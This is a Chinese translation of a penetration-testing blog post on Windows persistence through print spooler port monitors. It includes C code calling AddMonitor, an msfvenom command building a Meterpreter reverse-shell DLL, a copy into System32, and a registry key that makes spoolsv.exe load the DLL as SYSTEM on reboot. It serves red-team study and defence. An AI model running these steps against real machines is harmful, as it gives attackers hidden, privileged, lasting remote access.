首页 > 其他分享 >Window权限维持(九):端口监视器

Window权限维持(九):端口监视器

时间:2023-07-05 12:32:58浏览次数:58  
标签:AddMonitor 端口 dll Window 监视器 注册表 test DLL


后台打印程序服务负责管理Windows操作系统中的打印作业。与服务的交互通过打印后台处理程序API执行,该API包含一个函数(AddMonitor),可用于安装本地端口监视器并连接配置、数据和监视器文件。此函数能够将DLL注入spoolsv.exe进程,并且通过创建注册表项,red team operator可以在系统上实现持久性。
Brady BloxhamDefcon 22上演示了这种持久性技术。应该注意的是,此技术需要管理员级别的特权,并且DLL必须拖放到磁盘上。Mantvydas Baranauskas在他的网站上使用了以下代码,作为他的红色团队笔记的一部分。
WINDOWS.H报头包括Winspool.h这是由微软规范所需的头。该MONITOR_INFO_2用于指定必要的监控细节是:

  • pName //监视器名称
  • pEnvironment //环境架构
  • pDLLName //监视器DLL文件的名称
#include "Windows.h"

int main() {
    MONITOR_INFO_2 monitorInfo;
    TCHAR env[12] = TEXT("Windows x64");
    TCHAR name[12] = TEXT("Monitor");
    TCHAR dll[12] = TEXT("test.dll");
    monitorInfo.pName = name;
    monitorInfo.pEnvironment = env;
    monitorInfo.pDLLName = dll;
    AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
    return 0;
}


Window权限维持(九):端口监视器_加载

 AddMonitor功能

 编译代码将生成一个可执行文件(在本例中为Monitors.exe),该可执行文件将在系统上执行恶意DLL(test.dll)的注册。Metasploit框架可用于生成将服务于Meterpreter有效负载的DLL文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f dll > test.dll

该DLL必须复制到System32文件夹上,因为根据Microsoft 文档,这是AddMonitor函数的预期位置,以便加载相关的DLL 。

copy C:\Users\pentestlab\Desktop\test.dll C:\Windows\System32
Monitors.exe


Window权限维持(九):端口监视器_Windows_02

 将恶意DLL复制到System32

Monitors.exe必须与恶意DLL位于同一文件夹(System32)中。执行该文件将与Meterpreter建立通信。



Window权限维持(九):端口监视器_Windows_03

 

 Meterpreter – AddMonitor注册DLL

但是,为了实现持久性,在“ Monitors ”注册表位置下需要一个密钥。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

以下命令将创建一个注册表项,该注册表项将包含值test.dll。从编辑器中查看注册表将验证密钥是否已创建。

reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ



Window权限维持(九):端口监视器_Windows_04

 端口监视器–注册表项

下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件。下图演示了Meterpreter会话已建立与Print Spooler服务(SYSTEM)相同级别的特权,并且已从System32文件夹(已删除test.dll的文件夹)执行了执行。



Window权限维持(九):端口监视器_持久性_05

 

 持久性端口监视器– Meterpreter

 

译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

原文地址:https://pentestlab.blog/2019/10/28/persistence-port-monitors/


标签:AddMonitor,端口,dll,Window,监视器,注册表,test,DLL
From: https://blog.51cto.com/bypass/6630676

相关文章

  • Windows设置定时任务运行脚本/程序
    1、win+x打开计算机管理工具2、点击任务计划程序创建任务3、创建任务名称4、创建定时任务5、选择要运行的脚本及程序6、结果......
  • 常用的DOS命令(Windows)
    常用的DOS命令(Windows)#盘符切换盘符名称加:#查看当前目录下的所有文件dir#切换目录cd/D文件目录(cd全称changedirectory)/d是跨盘符切换目录需要添加的参数#返回上一级目录cd..#清理屏幕cls(clearscreen)#推出终端exit#查看电脑ipipconfig#打开应用calc(打......
  • 微软确认了 Windows 11 存在 CPU 占用异常的问题
    导读微软近日确认了Windows11系统中所存在的一个错误,该问题影响了运行Windows1121H2和22H2版本的设备,换句话说就是所有发布的Windows11操作系统。该问题是在用户安装了KB5026372(2023年5月补丁)后产生的,该问题破坏了文件资源管理器的一个特定部分,导致CPU......
  • windows 远程桌面连接(mstsc) 删除历史记录
    删除下拉框的记录进入注册表编辑:win+R>regedit按HKEY_CURRENT_USER\Software\Microsoft\TerminalServerClient\Default的路径,删除除了“默认外的”,所有“MRU+数字”的项。删除输入框的默认填充打开当前用户的主文件夹>我的文档(MyDocuments),点选工具栏组织>查看找到隐藏文件和......
  • Windows和Linux下mysql新建用户
    Windows下载xampp,同时启动Apache(设端口为8081)和mysql(3306)。启动cmd,mysql-uroot-p登录root权限,密码默认为空。然后设置root密码setpasswordfor'root'@'localhost'=password('123456');flushprivileges;访问localhost:8081/phpmyadmin,用户名root,输入密码即可进入图形界......
  • windows下mysql中binlog日志分析和数据恢复
    1.首先查看是否开启了binlogshowvariableslike'%log_bin%'; 我的已经开启了,如果没开启则开启binlog2.查看有哪些binlog文件和正在使用的binlog文件 查看有哪些binlog文件showbinarylogs;或者showmasterlogs; 查看当前正在使用的是哪一个binlog文件show......
  • 使用Kafka,实现Windows主机和Linux虚拟机的传输
    要在Windows主机和Linux虚拟机之间使用Kafka进行数据传输,需要按照以下详细步骤进行操作:在Windows主机上:1. 下载并安装Java Development Kit(JDK),确保在Windows上安装了Java。2. 下载Apache Kafka,可以从官方网站(https://kafka.apache.org/downloads)下载最新版本的Kafka。3. 解......
  • Qt qBreakPad使用(windows)
    一、介绍Googlebreakpad是一个跨平台的崩溃转储和分析框架和工具集合。而且BreakPad本来就是为了解决C、C++异常捕获而开发的。BreakPad支持跨平台,很容易在Qt项目中使用,使跨平台的应用实现跨平台异常捕获。这里介绍一下qBreakPad的使用。二、编译步骤1、下载qBreakPad源码......
  • Immediate window & redirect
    RedirecttotextfileSettheoptionRedirectallOutputWindowtexttotheImmediateWindow.WefinditinTools→Options→Debugging→General(fifthtolastitem).OpentheImmediateWindow:Ctrl+Alt+IorDebug→Windows→ImmediateWindow......
  • Linux挂载windows共享文件夹
    这篇博客为大家介绍一下Linux上挂载Windows下的网络共享文件夹,实现不同系统间的文件同步。1、环境2、windows上设置共享文件夹右键需要共享的文件夹,在属性中选到共享选择需要共享的用户并且赋权限共享之后取到网络路径3、linux上进行文件夹挂载#保证两台机器能......